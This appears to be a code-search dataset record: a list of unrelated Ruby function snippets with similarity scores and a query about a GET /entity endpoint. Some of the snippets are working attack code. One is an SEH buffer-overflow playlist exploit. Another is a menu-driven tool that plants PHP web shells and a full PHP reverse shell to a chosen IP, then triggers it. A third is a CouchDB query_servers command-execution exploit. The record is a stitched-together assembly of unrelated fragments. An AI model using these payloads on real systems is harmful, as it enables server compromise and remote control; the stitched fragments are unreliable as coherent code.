do |pubdate|\n marc_field = pubdate.keys.first;\n val = pubdate[marc_field].to_s;\n # Date normalization?\n next if val.nil?\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['pubdate'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\n json['publisher'].each do |publisher|\n marc_field = publisher.keys.first;\n val = HTPH::Hathinormalize.agency(publisher[marc_field]);\n next if val.nil?;\n next if val.empty?;\n str_id = get_str_id(val);\n @loadfiles['publisher'].file.puts(\"#{gd_id}\\t#{str_id}\\t#{marc_field}\");\n end\n\nend", "def initialize(filename)\n $stderr.puts(\"#{self.class}::new() does not take block; use #{self.class}::open() instead\") if block_given?\n raise(Mp3InfoError, \"empty file\") unless File.stat(filename).size? #FIXME\n @filename = filename\n @vbr = false\n @file = File.new(filename, \"rb\")\n @tag2 = {}\n @tag1 = gettag1\n @tag_orig = @tag1.dup\n\n ##########################\n # ID3v2\n ##########################\n tag2_len = 0\n @file.rewind\n if @file.read(3) == \"ID3\"\n version_maj, version_min, flags = @file.read(3).unpack(\"CCB4\")\n unsync, ext_header, experimental, footer = (0..3).collect { |i| flags[i].chr == '1' }\n @tag2[\"version\"] = \"2.#{version_maj}.#{version_min}\"\n tag2_len = size_syncsafe(@file.read(4))\n if ext_header\n ext_size = size_syncsafe(@file.read(4)) - 6\n @file.read(2)\n @file.read(ext_size)\n end\n loop do\n break if @file.pos >= tag2_len\n name = @file.read(4)\n #break if name == \"\\000\\000\\000\\000\"\n size = @file.read(4).unpack(\"N\")[0]\n flags = @file.read(2)\n data = @file.read(size)\n type = data[0]\n name = ID2TAGS[name] || name\n if name != \"\\000\\000\\000\\000\"\n @tag2[name] = data[1..-1]\n end\n end\n else\n @file.rewind\n end\n ##########################\n # END OF ID3v2\n ##########################\n\n\n begin\n find_frame_sync\n head = @file.read(4)\n raise(Mp3InfoInternalError) if not check_head(head)\n @first_frame_pos = @file.pos - 4\n h = extract_infos_from_head(head)\n h.each { |k,v| eval \"@#{k} = #{v.inspect}\" }\n seek =\n if @mpeg_version == 3 # mpeg version 1\n if @channel_num == 3\n 15 # Single Channel\n else\n 30\n end\n else # mpeg version 2 or 2.5\n if @channel_num == 3 # Single Channel\n 7\n else\n 15\n end\n end\n @file.pos += seek\n\n if @file.read(4) == \"Xing\" # This is a VBR file\n @vbr = true\n @file.pos += 4 #we have the frames number after\n #if @file.read(4).unpack(\"N\")[0] == 0xF\n #end\n @frames = @file.read(4).unpack(\"N\")[0]\n medframe = @file.stat.size / @frames.to_f\n @bitrate = ( (medframe * @samplerate) / ( 1000 * ( layer==3 ? 12 : 144) ) ).to_i\n end\n\n @frame_num = 0\n @length = (( (8 * @file.stat.size) / 1000.0) / @bitrate)\n rescue Mp3InfoInternalError\n retry\n rescue\n @file.close\n raise\n end\n\n end", "def exploit\n seh = generate_seh_payload(target.ret)\n filepls = \"[playlist]\\n\"\n filepls += \"NumberOfEntries=1\\n\\n\"\n filepls += \"File1=\" \n filepls += \"A\" * target['BufSize']\n #filepls += [target.ret].pack('V') + payload.encoded + \"C\" * 1000\n filepls += seh + rand_text_alpha_upper(1000) #payload.encoded + \"C\" * 1000\n\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n\t\tfile_create(filepls)\n\tend", "def file_writer_setup\n reverse=false\n simple=false\n while(true)\n print_caution(\"Select Payload Option: \")\n print_caution(\"1) Local File\")\n print_caution(\"2) PHP CMD Shell\")\n print_caution(\"3) PHP Reverse Shell\")\n answer=gets.chomp\n print_line(\"\")\n if answer.to_i > 0 and answer.to_i <= 3\n case answer.to_i\n when 1\n while(true)\n print_caution(\"Path to Local File: \")\n answer=gets.strip.chomp\n print_line(\"\")\n if File.exists?(answer)\n payload=File.open(answer).read\n payload_filename=answer.split('/')[-1]\n break\n else\n print_error(\"Can't find or read provided file!\")\n print_error(\"Check path or permissions and try again...\")\n print_line(\"\")\n end\n end\n when 2\n while(true)\n print_caution(\"Select PHP Shell Option: \")\n print_caution(\"1) Simple System($_GET['foo']) Shell\")\n print_caution(\"2) Simple Eval(Base64($_REQUEST['foo'])) Shell\")\n print_caution(\"3) Simple Passthru(Base64($_SERVER[HTTP_FOO])) Shell\")\n print_caution(\"4) Simple Create_function(Base64($_SERVER[HTTP_FOO])) Shell\")\n answer=gets.chomp\n print_line(\"\")\n if answer.to_i > 0 and answer.to_i <= 4\n simple=true\n case answer.to_i\n when 1\t\n simple_connect=1\n payload=\"<?error_reporting(0);print(___);system($_GET[foo]);print(___);die;?>\"\n when 2\n simple_connect=2\n payload=\"<?error_reporting(0);print(___);eval(base64_decode($_REQUEST[foo]));print(___);die;?>\"\n when 3\n simple_connect=3\n payload=\"<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_FOO]));print(___);die;?>\"\n when 4\n simple_connect=4\n payload=\"<?error_reporting(0);print(___);$b=strrev(\\\"edoced_4\\\".\\\"6esab\\\");($var=create_function($var,$b($_SERVER[HTTP_FOO])))?$var():0;print(___);?>\"\n end\n payload_filename=randz(8) + '.php'\n break\n else\n print_line(\"\")\n print_error(\"Oops, Didn't quite understand that one\")\n print_error(\"Please Choose a Valid Option From Menu Below Next Time.....\")\n print_line(\"\")\n end\n end\n when 3\n reverse=true\n print_caution(\"IP: \")\n ip=gets.chomp\n print_line(\"\")\n print_caution(\"Port: \")\n port=gets.chomp\n print_line(\"\")\n payload_filename=randz(8) + '.php'\n payload = \"<?php set_time_limit (0); $VERSION = \\\"1.0\\\"; $ip = '#{ip}'; $port = #{port.to_i}; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit(\\\"ERROR: Can't fork\\\"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit(\\\"Error: Can't setsid()\\\"); exit(1); } $daemon = 1; } else { printit(\\\"WARNING: Failed to daemonise. This is quite common and not fatal.\\\"); } chdir(\\\"/\\\"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit(\\\"$errstr ($errno)\\\"); exit(1); } $descriptorspec = array( 0 => array(\\\"pipe\\\", \\\"r\\\"), 1 => array(\\\"pipe\\\", \\\"w\\\"), 2 => array(\\\"pipe\\\", \\\"w\\\")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit(\\\"ERROR: Can't spawn shell\\\"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(\\\"Successfully opened reverse shell to $ip:$port\\\"); while (1) { if (feof($sock)) { printit(\\\"ERROR: Shell connection terminated\\\"); break; } if (feof($pipes[1])) { printit(\\\"ERROR: Shell process terminated\\\"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(\\\"SOCK READ\\\"); $input = fread($sock, $chunk_size); if ($debug) printit(\\\"SOCK: $input\\\"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(\\\"STDOUT READ\\\"); $input = fread($pipes[1], $chunk_size); if ($debug) printit(\\\"STDOUT: $input\\\"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(\\\"STDERR READ\\\"); $input = fread($pipes[2], $chunk_size); if ($debug) printit(\\\"STDERR: $input\\\"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print \\\"$string\\\"; } }; ?>\" # Pentestmonkey's PHP Reverse Shell, Many THanks!\n end\n break\n else\n print_line(\"\")\n print_error(\"Oops, Didn't quite understand that one\")\n print_error(\"Please Choose a Valid Option From Menu Below Next Time.....\")\n print_line(\"\")\n end\n end\n while(true)\n print_caution(\"Writable Path Options: \")\n print_caution(\"1) Known Writable Path\")\n print_caution(\"2) Fuzz w/Paths File\")\n answer=gets.chomp\n if answer.to_i == 1\n print_caution(\"Remote Writable Path: \")\n answer=gets.strip.chomp\n remote_paths=[ answer ]\n print_line(\"\")\n break\n elsif answer.to_i == 2\n while(true)\n print_caution(\"Local File for Fuzzing Writable Path: \")\n answer=gets.strip.chomp\n print_line(\"\")\n if File.exists?(answer.strip.chomp)\n paths=File.open(answer.strip.chomp).readlines\n remote_paths=[]\n paths.each { |x| remote_paths << x }\n break\n else\n print_error(\"Can't find or read provided file!\")\n print_error(\"Check path or permissions and try again...\")\n print_line(\"\")\n end\n end\n break\n else\n print_line(\"\")\n print_error(\"Oops, Didn't quite understand that one\")\n print_error(\"Please Choose a Valid Option From Menu Below Next Time.....\")\n print_line(\"\")\n end\n end\n file_write(remote_paths, payload.mysqlhex, payload_filename)\n if reverse\n print_caution(\"URL to Trigger Reverse Shell: \")\n answer=gets.chomp\n print_line(\"\")\n print_status(\"Trying to trigger reverse shell, make sure listener is ready...\")\n sleep(3) # Dramatic pause to give a sec for listener prep\n res=@http.get(answer)\n if res[1] == 200\n print_good(\"200 Response Received!\")\n print_good(\"Hopefully you caught a shell....\")\n else\n print_error(\"Bad Response Received, not sure things went as planned. Sorry.....\")\n end\n end\n if simple\n print_caution(\"Do you want to try and connect to Simple Shell (Y/N)?\")\n answer=gets.chomp\n print_line(\"\")\n if answer.upcase == 'Y' or answer.upcase == 'YES'\n print_caution(\"URL to Shell (http://site.com/images/shellname.php): \")\n url=gets.chomp\n simple_shell(simple_connect.to_i, url)\n else\n print_status(\"OK, will leave it to you...\")\n print_status(\"In case you were wondering, to connect via Curl: \")\n case simple_connect.to_i\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n end\n end\n end", "def process(data)\n bytes = StringIO.new(String(data)).each_byte\n bytes.each do |byte|\n case byte\n when REPORT_VERSION\n @major_version = bytes.next\n @minor_version = bytes.next\n\n emit('report_version')\n\n when ANALOG_MESSAGE_RANGE\n least_significant_byte = bytes.next\n most_significant_byte = bytes.next\n\n value = least_significant_byte | (most_significant_byte << 7)\n pin = byte & 0x0F\n\n if analog_pin = analog_pins[pin]\n pins[analog_pin].value = value\n\n emit('analog-read', pin, value)\n emit(\"analog-read-#{pin}\", value)\n end\n\n when DIGITAL_MESSAGE_RANGE\n port = byte & 0x0F\n first_bitmask = bytes.next\n second_bitmask = bytes.next\n port_value = first_bitmask | (second_bitmask << 7)\n\n 8.times do |i|\n pin_number = 8 * port + i\n if pin = pins[pin_number] and pin.mode == INPUT\n value = (port_value >> (i & 0x07)) & 0x01\n pin.value = value\n emit('digital-read', pin_number, value)\n emit(\"digital-read-#{pin_number}\", value)\n end\n end\n\n when START_SYSEX\n current_buffer = [byte]\n begin\n current_buffer.push(bytes.next)\n end until current_buffer.last == END_SYSEX\n\n command = current_buffer[1]\n\n case command\n when CAPABILITY_RESPONSE\n supported_modes = 0\n n = 0\n\n current_buffer.slice(2, current_buffer.length - 3).each do |byte|\n if byte == 127\n modes = []\n # the pin modes\n [ INPUT, OUTPUT, ANALOG, PWM, SERVO ].each do |mode|\n modes.push(mode) unless (supported_modes & (1 << mode)).zero?\n end\n\n @pins.push(Pin.new(modes, OUTPUT, 0))\n\n supported_modes = 0\n n = 0\n next\n end\n\n supported_modes |= (1 << byte) if n.zero?\n\n n ^= 1\n end\n\n emit('capability_query')\n\n when ANALOG_MAPPING_RESPONSE\n pin_index = 0\n\n current_buffer.slice(2, current_buffer.length - 3).each do |byte|\n\n @pins[pin_index].analog_channel = byte\n\n @analog_pins.push(pin_index) unless byte == 127\n\n pin_index += 1\n end\n\n emit('analog_mapping_query')\n\n when PIN_STATE_RESPONSE\n pin = pins[current_buffer[2]]\n pin.mode = current_buffer[3]\n pin.value = current_buffer[4]\n\n pin.value |= (current_buffer[5] << 7) if current_buffer.size > 6\n\n pin.value |= (current_buffer[6] << 14) if current_buffer.size > 7\n\n when FIRMWARE_QUERY\n @firmware_name = current_buffer.slice(4, current_buffer.length - 5).reject { |b| b.zero? }.map(&:chr).join\n emit('firmware_query')\n\n else\n puts 'bad byte'\n end\n end\n end\n rescue StopIteration\n # do nadda\n end", "def file_first(name, &blk)\n # The first action creates a tempfile and gives the client an ID to reference\n # it by. Since a client could upload multiple files simultaneously, this is\n # necessary.\n define_action \"#{name}_request_tempfile\".to_sym do\n id = \"#{self.class.to_s}_#{name}_#{Time.now.to_i.to_s}_#{rand(9999999).to_s}\"\n File.open(File.join(APP_ROOT, \"tmp\", id), \"w\") {|f| f.write \"\"}\n current_user.transmit(\"App.tempfile\" => {id: id, req_id: params[\"req_id\"]})\n end\n \n # The second action receives the base64 encoded file chunks, decodes them, and\n # writes them to the temp file. Once the upload is complete, it sends a callback\n # to the user to let them know the file is ready.\n define_action \"#{name}_receive_file\".to_sym do\n File.open(File.join(APP_ROOT, \"tmp\", params[\"id\"]), \"ab\") {|f| f.write Base64.decode64(params[\"chunk\"])}\n if params[\"complete\"]\n current_user.transmit({\"App.finished_upload\" => {id: params[\"id\"], req_id: params[\"req_id\"]}})\n end\n end\n end", "def do_ild(block1, block2)\n\n total_length = block1[0][:seq].length() + block2[0][:seq].length()\n ildstring = \"\"\n ildstring << \"nstates prot;\\n\"\n ildstring << \"xread\\n\"\n ildstring << \"#{total_length} 49\\n\"\n ildstring << \"\\n\"\n ildstring << \"&[prot]\\n\"\n block1.each { |b1| ildstring << \"#{b1[:genus]} #{b1[:seq]}\\n\" }\n ildstring << \"\\n\"\n ildstring << \"&[prot]\\n\"\n block2.each { |b2| ildstring << \"#{b2[:genus]} #{b2[:seq]}\\n\" }\n\n ildfile = Tempfile.new(['ildinput','.tnt'])\n File.open(ildfile.path,'w') { |f| f.write(ildstring) }\n `sequences/aligned/tnt.command mxram 2000, sect:slack 35, p #{ildfile.path}, ild, zzz`\n puts \"p-value?\"\n pval = gets.chomp()\n return pval\n\nend", "def prepare_identities_from_files; end", "def export\n return if fragments.count.zero?\n File.open(\"#{bin_file_name}.new\", \"wb\") do |f|\n i = 0;\n fragments.order(:order).each do |fr|\n i = export_object f, fr, i\n end\n end\n end", "def parse_body(buffer)\n @id = shift_short(buffer)\n while(buffer.bytesize>0)\n @return_codes << shift_byte(buffer)\n end\n # puts \"subacks #{@return_codes.inspect}\"\n end", "def preprocess(&block); end", "def process\n @log.info \"processing label mapping to #{@outfile}\" if @log\n time = File.mtime(@file)\n begin \n RDF::Writer.open(@outfile) do |writer|\n \t\n \trecord = RDF::URI.new(\"http://bio2rdf.org/sider\")\n \n File.open(@file,\"r\").each do |line|\n row = line.strip.chomp.split(\"\\t\") rescue next\n label = @sider[\"label_\"+Digest::MD5.hexdigest(row[-1])] \n \n writer << [label,DC.identifier,row[-1],record]\n writer << [label,RDF.type,@sider_vocabulary['Drug_Information_Label'],record]\n \n case row[1]\n when \"\"\n drug = @pubchem[row[3].to_i.abs.to_s]\n writer << [label,RDFS.comment,\"Label mapping for: #{CGI.escape(row[0])}\",record]\n writer << [label,@sider_vocabulary['involves_drug'],drug,record]\n writer << [drug,RDF.type,@sider_vocabulary['Drug'],record]\n writer << [drug,DC.identifier,\"cid:\"+row[3].to_i.abs.to_s,record]\n writer << [drug,RDFS.label,CGI.escape(row[0]),record]\n when \"combination\"\n writer << [label,RDFS.label,\"Label mapping for combination: #{row[0]}\",record]\n writer << [label,@sider_vocabulary['marker'],row[1],record]\n #writer << [label,RDF.type,@sider_vocabulary['Combination'],record]\n row[0].split(\";\").each {|drug| writer << [label,@sider_vocabulary['drug'],drug,record]}\n when \"not found\"\n # not implemented\n when \"mapping conflict\"\n # not implemented\n when \"template\"\n # not implemented\n end\n end\n end\n rescue ArgumentError => e\n @log.error e.backtrace.join(\"\\n\")\n end\n end", "def handle_v5(payload, block)\n version, flow_records, uptime, unix_sec, unix_nsec, flow_seq_num, engine, sampling = payload.unpack(NETFLOW_V5_HEADER_FORMAT)\n engine_type = (engine & 0xff00) >> 8\n engine_id = engine & 0x00ff\n sampling_algorithm = (sampling & 0b1100000000000000) >> 14\n sampling_interval = sampling & 0b0011111111111111\n\n time = Fluent::EventTime.new(unix_sec.to_i, unix_nsec.to_i)\n\n records_bytes = payload.bytesize - NETFLOW_V5_HEADER_BYTES\n\n if records_bytes / NETFLOW_V5_RECORD_BYTES != flow_records\n $log.warn \"bytesize mismatch, records_bytes:#{records_bytes}, records:#{flow_records}\"\n return\n end\n\n format_full = NETFLOW_V5_RECORD_FORMAT * flow_records\n objects = payload[NETFLOW_V5_HEADER_BYTES, records_bytes].unpack(format_full)\n\n while objects.size > 0\n src_addr, dst_addr, next_hop, input_snmp, output_snmp,\n in_pkts, in_bytes, first_switched, last_switched, l4_src_port, l4_dst_port,\n tcp_flags_16, protocol_src_tos, src_as, dst_as, src_dst_mask = objects.shift(16)\n record = {\n \"version\" => version,\n \"uptime\" => uptime,\n \"flow_records\" => flow_records,\n \"flow_seq_num\" => flow_seq_num,\n \"engine_type\" => engine_type,\n \"engine_id\" => engine_id,\n \"sampling_algorithm\" => sampling_algorithm,\n \"sampling_interval\" => sampling_interval,\n\n \"ipv4_src_addr\" => ipv4_addr_to_string(src_addr),\n \"ipv4_dst_addr\" => ipv4_addr_to_string(dst_addr),\n \"ipv4_next_hop\" => ipv4_addr_to_string(next_hop),\n \"input_snmp\" => input_snmp,\n \"output_snmp\" => output_snmp,\n \"in_pkts\" => in_pkts,\n \"in_bytes\" => in_bytes,\n \"first_switched\" => first_switched,\n \"last_switched\" => last_switched,\n \"l4_src_port\" => l4_src_port,\n \"l4_dst_port\" => l4_dst_port,\n \"tcp_flags\" => tcp_flags_16 & 0x00ff,\n \"protocol\" => (protocol_src_tos & 0xff00) >> 8,\n \"src_tos\" => (protocol_src_tos & 0x00ff),\n \"src_as\" => src_as,\n \"dst_as\" => dst_as,\n \"src_mask\" => (src_dst_mask & 0xff00) >> 8,\n \"dst_mask\" => (src_dst_mask & 0x00ff)\n }\n unless @switched_times_from_uptime\n record[\"first_switched\"] = format_for_switched(msec_from_boot_to_time(record[\"first_switched\"], uptime, unix_sec, unix_nsec))\n record[\"last_switched\"] = format_for_switched(msec_from_boot_to_time(record[\"last_switched\"] , uptime, unix_sec, unix_nsec))\n end\n\n block.call(time, record)\n end\n end", "def stage objects, reader\n #this is where the fun happens\n objects.each do |obj|\n obj.build_hash\n obj.load_rules\n obj.mutate\n puts obj.write_table.flatten\n #reader.write_out(obj.write_table.flatten) wont work with onjects.each -> obviously overwrites\n #end the fun now!\n end\nend", "def do_encode # :nodoc:\n case\n when encoded_to_s.length <= 78\n encoded_to_s\n when encoded_to_s.length > 78\n @folded_line = []\n @unfolded_line = encoded_to_s\n wspp = @unfolded_line =~ /[ \\t]/\n fold\n @folded_line.join(\"\\r\\n\\t\")\n end\n end", "def write(chunk)\n # dummy\n end", "def add data, offset\n next_frag = 0\n $LOG.debug \"Setting partition at offset \" + offset.to_s + \" To \" + data\n len = data.length\n\n # can we fit it in??\n # lets say no. so we have to create a ????? and use that as\n # an enumerator\n #\n\n \n\n dary = [data].pack(\"a*\").unpack(\"C*\")\n @part[offset, dary.length] = dary\n\n @part[(offset + dary.length), 2] = [next_frag].pack(\"n\").unpack(\"C2\")\n \n @rem -= (dary.length + FileSystem::get_link_size)\n end", "def payload2\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_membership\"),\r\n 'method' => 'GET',\r\n 'authorization' => @auth\r\n )\r\n\r\n node = res.get_json_document['all_nodes'][0]\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd1}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd2}\"})\r\n )\r\n end", "def transmission; end", "def transfer_block(source, destination, block_opening = nil)\n if block_opening.nil?\n File.open(source) do |f|\n f.each do |line|\n destination.puts line\n end\n end\n else\n File.open(source) do |f|\n block_opened = false\n f.each do |line|\n if !block_opened && line.start_with?(block_opening)\n destination.puts line\n block_opened = true\n elsif block_opened && !line.start_with?('}')\n destination.puts line\n elsif block_opened && line.start_with?('}')\n destination.puts line\n break\n end\n end\n end\n end\nend", "def write_blocks(nonce, start_block, block_count, data)\n # TODO: transactional integrity\n \n hmacs = (0...block_count).map do |i|\n load_data = @tree_driver.load_update_path start_block + i\n load_data[:ops] <<\n { :op => :update, :path => load_data[:path], :nonce => nonce,\n :data => data[i * block_size, block_size],\n :block => start_block + i, :session_id => @sid }\n add_tree_data_to_ops load_data[:ops]\n response = @fpga.perform_ops load_data[:ops]\n @tree_driver.perform_ops load_data[:ops]\n response.first\n end\n @disk.write_blocks start_block + @data_start, block_count, data\n { :hmacs => hmacs }\n end", "def flush_next_in\n\t\t@in_pos = @input_buffer.length\n\t\t@finished = true\n\t\tret = @input_buffer.pack(\"c*\")\n\t\t@input_buffer = []\n\t\tret\n\tend", "def process(opts={})\n\n # Process each access file\n @sip.access.each do |a|\n ev = self.ingest(@sip.base, a, \"access\", {:format=>\"h264\"} )\n ev.generation = \"Copy: access\"\n ev.datastreams[\"descMetadata\"].insert_next(@sip.next_access(a).to_s) if @sip.next_access(a)\n ev.datastreams[\"descMetadata\"].insert_previous(@sip.previous_access(a).to_s) if @sip.previous_access(a)\n ev.save\n end\n\n # Process each preservation file\n @sip.preservation.each do |p|\n ev = self.ingest(@sip.base, p, \"preservation\", {:format=>\"original\"} )\n ev.generation = \"original\"\n ev.datastreams[\"descMetadata\"].insert_next(@sip.next_preservation(p).to_s) if @sip.next_preservation(p)\n ev.datastreams[\"descMetadata\"].insert_previous(@sip.previous_preservation(p).to_s) if @sip.previous_preservation(p)\n ev.save\n end\n\n # add a thumbnail\n if generate_video_thumbnail(File.join(RH_CONFIG[\"location\"], @sip.base, \"data\", @sip.access.first))\n @parent.save if @parent.add_thumbnail File.new(\"tmp/thumb.jpg\") \n end\n end", "def make\n @file.read(1)\n @file.rewind\n @file\n end", "def store_txo_continue_1(string, encoding = 0) #:nodoc:\n # Split long comment strings into smaller continue blocks if necessary.\n # We can't let BIFFwriter::_add_continue() handled this since an extra\n # encoding byte has to be added similar to the SST block.\n #\n # We make the limit size smaller than the add_continue() size and even\n # so that UTF16 chars occur in the same block.\n #\n limit = 8218\n while string.bytesize > limit\n string[0 .. limit] = \"\"\n tmp_str = string\n data = [encoding].pack(\"C\") +\n ruby_18 { tmp_str } ||\n ruby_19 { tmp_str.force_encoding('ASCII-8BIT') }\n length = data.bytesize\n header = [record, length].pack('vv')\n\n append(header, data)\n end\n\n # Pack the record.\n data =\n ruby_18 { [encoding].pack(\"C\") + string } ||\n ruby_19 { [encoding].pack(\"C\") + string.force_encoding('ASCII-8BIT') }\n\n record = 0x003C # Record identifier\n length = data.bytesize\n header = [record, length].pack('vv')\n\n append(header, data)\n end", "def make_blocks\n data = compress block_sources\n id = put_blocks_in_cache(data) # would prefer qless id here if possible\n return id\n end", "def flush_next_in\n\t\t\t@in_pos = @input_buffer.length\n\t\t\t@finished = true\n\t\t\tret = @input_buffer.pack(\"c*\")\n\t\t\t@input_buffer = []\n\t\t\tret\n\t\tend", "def pack\n end", "def write(chunk)\n # Quick exit if we are missing something\n if !OMS::Configuration.load_configuration(omsadmin_conf_path, cert_path, key_path)\n raise 'Missing configuration. Make sure to onboard. Will continue to buffer data.'\n end\n\n # Group records based on their datatype because OMS does not support a single request with multiple datatypes. \n datatypes = {}\n chunk.msgpack_each {|(tag, record)|\n if !datatypes.has_key?(tag)\n datatypes[tag] = []\n end\n datatypes[tag] << record['message']\n }\n\n datatypes.each do |tag, records|\n handle_records(tag, records)\n end\n end" ]
[ "0.6309856", "0.5997202", "0.56635565", "0.5551376", "0.54976225", "0.54300714", "0.5377909", "0.53760606", "0.5374259", "0.53441226", "0.5343247", "0.53075814", "0.5259889", "0.5244623", "0.52381134", "0.5223903", "0.51888084", "0.5169904", "0.5163705", "0.51448613", "0.5140195", "0.5137803", "0.5136679", "0.5136679", "0.5136679", "0.51269096", "0.5126031", "0.51128316", "0.50564116", "0.505439", "0.50537115", "0.50481486", "0.5030544", "0.50163114", "0.5006413", "0.4998759", "0.4998759", "0.4998759", "0.4998759", "0.4998759", "0.49969316", "0.49770662", "0.49640152", "0.4958533", "0.495503", "0.49509698", "0.49472737", "0.4943022", "0.49402705", "0.4927161", "0.49260437", "0.49260437", "0.49165463", "0.49138352", "0.49066883", "0.48944196", "0.48871958", "0.4885889", "0.4881408", "0.48812154", "0.48763013", "0.4872707", "0.48707327", "0.4854117", "0.48529112", "0.48529112", "0.48487413", "0.4842592", "0.48415363", "0.48354277", "0.4833355", "0.48325542", "0.4825444", "0.48252904", "0.48169482", "0.48147795", "0.48117873", "0.48083237", "0.48072574", "0.47977358", "0.4794362", "0.479283", "0.47902295", "0.47815886", "0.4778495", "0.4775161", "0.47745705", "0.4761858", "0.47615343", "0.47573614", "0.47539836", "0.47406027", "0.47388697", "0.4736383", "0.4732346", "0.47289765", "0.47276866", "0.47269824", "0.47222176", "0.47196937" ]
0.47596836
89
GET /entity GET /entity.json
def index @search = @klass.search(params[:q]) @entities = @search.result.includes(@klass::ADMIN_INCLUDES).page(params[:page]) @count = @search.result.count @search.build_condition respond_to do |format| format.html # index.html.erb format.json { render json: @entities } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_entity(entity_name)\n uri = URI(@config[:server] + \"/#{entity_name}\")\n uri.query = URI.encode_www_form({:filter => @config[:filter]})\n \n result = Net::HTTP.get_response(uri)\n raise Exception(\"The request to #{uri} failed.\") unless result.is_a?(Net::HTTPSuccess)\n \n JSON.parse(result.body)\n \n rescue\n @logger.error(\"Unable to retrieve entity:\\n#{$!}\")\n []\n end", "def show\n @entity = Entity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end", "def show\n @entity = Entity.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end", "def show\n @breadcrumb = 'read'\n @entity = Entity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end", "def getEntity( entity_id, domain, path, data_filter)\n params = Hash.new\n params['entity_id'] = entity_id\n params['domain'] = domain\n params['path'] = path\n params['data_filter'] = data_filter\n return doCurl(\"get\",\"/entity\",params)\n end", "def show\n @entity_tag = EntityTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity_tag }\n end\n end", "def show\n @entity = PruegelEntity.find(params[:id])\n @verbindung = Verbindung.find(params[:verbindung_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity }\n end\n end", "def show\n respond_with @entity, entity: _get_class\n end", "def details(entity_id, request_options = \"\")\n API::request(:get, \"entities/#{entity_id}\" + request_options)\n end", "def show\n @entity = @klass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entity 